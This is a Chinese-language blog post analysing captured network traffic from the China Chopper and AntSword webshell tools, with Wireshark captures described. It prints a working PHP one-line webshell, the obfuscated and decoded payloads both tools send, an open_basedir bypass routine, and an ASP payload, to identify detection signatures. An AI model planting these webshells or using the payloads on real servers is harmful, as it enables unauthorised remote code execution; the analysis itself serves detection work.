Webshell流量分析之菜刀Chopper&蟻劍AntSword

smileleooo發表於2024-05-12

目錄
  • 中國菜刀
  • 蟻劍

菜刀和蟻劍的一句話木馬的流量都有一個特點,都沒有加密的,使用wireshark抓包來分析。

中國菜刀

中國菜刀是一款經典的webshell管理工具,具有檔案管理、資料庫管理、虛擬終端等功能。這裡以菜刀2016為例。

在伺服器準備php一句話木馬: <?php @eval($_POST['pass']);?>

Wireshark把80埠的資料包過濾出來,然後進行TCP流追蹤:

image

POST資料包中密碼pass的內容:

pass = array_map(
    "ass"."ert",
    array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al
(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"
   )
);

來分析這段php程式碼:

array_map 這是php中的一個陣列函式,它將一個函式作用到給定陣列的每個元素上,並返回一個新的陣列。

"ass"."ert" 這個字串拼接的結果是"assert",執行一個字串作為php程式碼。

因此,array_map將 "assert"函式作用到後面的陣列的每個元素上。

array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev".(\\\$xx(''));\"); 這個字串經過拼接後就是 @eval("\$xx=\"BASE64_dEcodE\";@eval(\"\\\$xx(''));\");

在php中,當在一個表示式之前加上@時,任何產生的錯誤資訊都將被忽略。

eval函式中明顯是一個Base64編碼的Payload,解碼以後:

//display_errors設為0,php不會顯示錯誤資訊
@ini_set("display_errors","0");
//設定指令碼的最大執行時間為無限制
@set_time_limit(0);  
if (PHP_VERSION < '5.3.0') {
    //如果php版本低於5.3.0則關閉magic_quotes_runtime確保相容性
    @set_magic_quotes_runtime(0);  
};
echo("X@Y");
//獲取當前檔案所在目錄的路徑
$D = dirname(__FILE__);  
$R = "{$D}\t";
//如果當前路徑的第一字元不是 / 則表明是 Windows環境
if (substr($D, 0, 1) != "/") {  
    //迴圈遍歷從A到Z的所有字母,查詢其中哪個是有效的驅動器(磁碟機代號),並將它們加到$R中
    foreach(range("A", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
}
$R. = "\t";
//檢查是否存在posix_getegid函式,是否執行在支援POSIX的系統,如果支援,則獲取當前有效使用者的使用者資訊,否則返回空
$u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
//獲取當前php的執行使用者
$usr = ($u) ? $u['name'] : @get_current_user();
//新增作業系統相關資訊
$R. = php_uname();  
$R. = "({$usr})";
print $R;;
echo("X@Y");
//結束指令碼執行
die();  

總結:

2016版本菜刀相較於2011-2014版本菜刀,最大的改變就是將特徵進行打斷混淆,eval函式或assert函式用於執行傳遞攻擊的payload,base64_decode函式解碼傳輸的資料。而響應包在->| |<-之間包含執行結果。

蟻劍

蟻劍與菜刀相比,介面更加豐富,功能更加齊全。

蟻劍下載地址:https://github.com/AntSwordProject/AntSword-Loader

同樣的在伺服器寫一句話木馬: <?php @eval($_POST['pass']);?>,注意 POST 要大寫,否則蟻劍返回為空。

選擇編/解碼器選著default時,則不對傳輸的Payload進行任何操作。

image

對POST的密碼pass進行一個URL解碼:

pass = @ini_set("display_errors", "0");
@set_time_limit(0);
//獲取php的open_basedir配置項的值
$opdir = @ini_get("open_basedir");
if ($opdir) {
    //獲取當前指令碼檔案的路徑
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    //使用base64解碼後的字串進行分割操作
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    //將當前指令碼路徑和系統臨時目錄新增到$oparr陣列中
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        };
        //構建臨時目錄路徑,959eddc56d0f是一個隨機字串
        $tmdir = $item."/".959eddc56d0f;
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        //獲取臨時目錄的真實路徑
        $tmdir = realpath($tmdir);
        @chdir($tmdir);
        //修改open_basedir的配置為父目錄
        @ini_set("open_basedir", "..");
        //使用正規表示式分割臨時目錄路徑
        $cntarr = @preg_split("/\\\\\\\\|\\//", $tmdir);
        //迴圈返回上級目錄
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        };
        //將open_basedir配置項恢復為根目錄
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    };
};
function asenc($out) {
    return $out;
};
//定義一個函式asoutput,用於輸出結果
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "bb"."bf3";
    echo @asenc($output);
    echo "8f0"."909";
}
//啟動輸出緩衝
ob_start();
try {
    $D = dirname($_SERVER["SCRIPT_FILENAME"]);
    if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
    //一下和菜刀類似,獲取磁碟機代號,使用者資訊,系統資訊
    $R = "{$D}  ";
    if (substr($D, 0, 1) != "/") {
        foreach(range("C", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
    } else {
        $R. = "/";
    }
    $R. = "   ";
    $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
    $s = ($u) ? $u["name"] : @get_current_user();
    $R. = php_uname();
    $R. = "  {$s}";
    echo $R;
} catch (Exception $e) {
    echo "ERROR://".$e - > getMessage();
}
asoutput();
die();
HT

相較於菜刀的改進之處在於,可以透過修改open_basedir配置項來嘗試繞過的安全配置的限制。

當選擇編/解碼器選著base64時,就是將上面的這段php程式碼進過base64編碼再經過URL編碼(下圖藍色選中部分)後賦給一個隨機串。然後將這個隨機串的值透過POST方法傳入eval函式再base64解碼,透過eval函式執行後最後傳給pass。

image

剩餘的4種編碼器:

  • chr編碼器:對payload的所有字元都利用利用chr函式進行轉換。

  • chr16編碼器:對payload的所有字元都利用chr函式轉換,但是對chr函式傳遞的引數是十六進位制。

  • rot13編碼器:對payload中的字母進行rot13轉換。

  • rspphp編碼器:需要配置生成RSA生成公鑰、私鑰。

剩餘的一種解碼器:

  • rot13解碼器:將收到的資料進行rot13轉換,由於英文字母一共26個所以置換兩次之後會還原。

接下來看看asp和jsp的payload:

asp的預設編碼器:

image

對POST的密碼pass進行一個URL解碼:

pass = eval("Ex" & cHr(101) & "cute("
    "Server.ScriptTimeout=3600:On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute("
    ""
    "bd=bd&chr(&H"
    ""
    "&c&"
    ""
    ")"
    ""
    "):Else:Execute("
    ""
    "bd=bd&chr(&H"
    ""
    "&c&Mid(s,i+2,2)&"
    ""
    ")"
    ""
    "):i=i+2:End If"
    "&chr(10)&"
    "Next:End Function:Response.Write("
    ""
    "6dd8f"
    ""
    "&"
    ""
    "09c7a8"
    ""
    "):Ex" & cHr(101) & "cute("
    ""
    "On Error Resume Next:"
    ""
    "&bd("
    ""
    "44696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222E2229266368722839293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"
    ""
    ")):Response.Write("
    ""
    "98"
    ""
    "&"
    ""
    "9a0"
    ""
    "):Response.End"
    ")")

主體就是透過 eval 執行構建好的字串。

其中設定 Server.ScriptTimeout=3600 使指令碼執行時間過長也不會觸發超時錯誤。此外 On Error Resume Next 使錯誤不會中斷指令碼的執行。

定義了一個名為 bd 的函式,用於將字串解碼為 ASCII 字元。

jsp的預設編碼器:

image

jsp的payload預設編碼過後的,嘗試URL解碼+Base64解碼沒有成功。

蟻劍總結:

  • php 使用 assert 和 eval 執行

  • asp 只使用 eval 執行

  • jsp使用的是Java類載入(ClassLoader),同時會帶有base64編碼解碼等字元特徵


若有錯誤,歡迎指正!o( ̄▽ ̄)ブ

相關文章